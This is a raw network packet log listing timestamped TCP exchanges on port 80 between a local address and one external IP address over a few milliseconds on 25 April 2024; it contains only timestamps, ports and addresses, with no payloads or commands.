Apr 25, 2024 16:29:12.405785084 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405834913 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405865908 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405867100 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405895948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405951023 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405987978 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406002998 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406038046 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406049967 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406074047 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406086922 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406112909 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406147957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406181097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406208992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406241894 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406280994 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406316042 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406377077 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406405926 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406421900 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406472921 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406491041 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406548023 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406554937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406578064 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406595945 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406630039 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406636953 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406672001 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406713009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406747103 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406750917 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406780005 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406809092 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406841993 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406905890 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406939030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.406939983 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.406968117 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407037020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407071114 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407078028 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407108068 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407139063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407169104 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407181978 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407216072 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407226086 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407268047 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407284975 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407320023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407350063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407382011 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407412052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407448053 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407497883 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407531023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407532930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407563925 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407592058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407624960 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407638073 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407668114 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407707930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407746077 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407749891 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407780886 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407809019 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407850981 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407864094 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407896042 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407907009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407934904 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.407963037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.407995939 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408008099 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408042908 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408070087 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408108950 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408166885 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408181906 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408209085 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408214092 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408224106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408241987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408269882 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408304930 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408320904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408349037 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408369064 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408401012 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408430099 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408461094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408478022 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408508062 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408545971 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408579111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408626080 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408658981 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408660889 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408684969 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408710957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408745050 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408771038 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408808947 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408812046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408840895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408879995 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408910990 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.408914089 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408941031 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.408970118 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409003019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409032106 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409065008 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409066916 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409096003 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409125090 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409156084 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409166098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409198046 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409215927 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409251928 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409293890 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409327030 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409378052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409420013 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409490108 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409526110 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409574986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409589052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409603119 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409615993 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409645081 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409678936 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409784079 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409818888 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409868956 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409898996 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.409946918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.409980059 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410038948 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410073042 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410100937 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410135984 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410151958 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410187960 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410202026 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410237074 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410243988 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410279989 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410310984 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410342932 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410387993 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410420895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410450935 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410487890 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410495043 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410525084 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410583973 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410612106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410708904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410738945 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410808086 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410840988 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.410881042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.410917997 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411068916 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411103010 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411120892 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411153078 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411173105 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411187887 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411206961 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411226034 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411228895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411257029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411257982 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411290884 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411309004 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411324024 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411343098 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411355019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411385059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411420107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411452055 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411465883 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411480904 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411484957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411498070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411514997 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411534071 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411562920 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411586046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411616087 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411626101 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411657095 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411688089 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411703110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411720991 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411725044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411741018 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411758900 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411825895 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411859989 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411909103 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.411938906 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.411978006 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412004948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412014008 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412050009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412050962 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412086010 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412115097 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412128925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412147045 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412154913 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412167072 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412183046 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412194014 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412225008 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412255049 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412286997 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412317991 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412331104 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412348986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412352085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412364960 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412388086 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412408113 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412421942 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412440062 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412452936 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412468910 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412501097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412503958 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412528992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412535906 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412556887 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412596941 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412610054 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412621021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412636042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412641048 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412641048 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412657976 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412667990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412678957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412709951 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412723064 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412755013 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412766933 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412786961 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412867069 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412898064 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412899017 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412913084 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.412930965 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412945032 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.412992954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413028955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413059950 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413094044 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413172960 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413198948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413235903 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413269043 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413338900 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413352013 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413363934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413368940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413383007 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413398981 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413407087 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413438082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413441896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413475037 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413499117 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413533926 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413558960 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413573027 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413589001 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413603067 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413614035 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413626909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413642883 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413660049 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413700104 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413738012 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413844109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413873911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413889885 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413919926 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413938999 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413950920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.413965940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.413978100 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414056063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414088011 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414113045 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414144993 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414160967 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414194107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414233923 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414274931 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414357901 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414392948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414393902 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414422989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414422989 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414454937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414479971 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414513111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414531946 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414561987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414566994 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414602041 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414628983 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414668083 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414674044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414686918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414704084 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414716959 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414742947 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414768934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414778948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414798021 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414805889 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414835930 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.414844990 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.414875984 CEST	49709	80	192.168.2.5	193.233.132.175
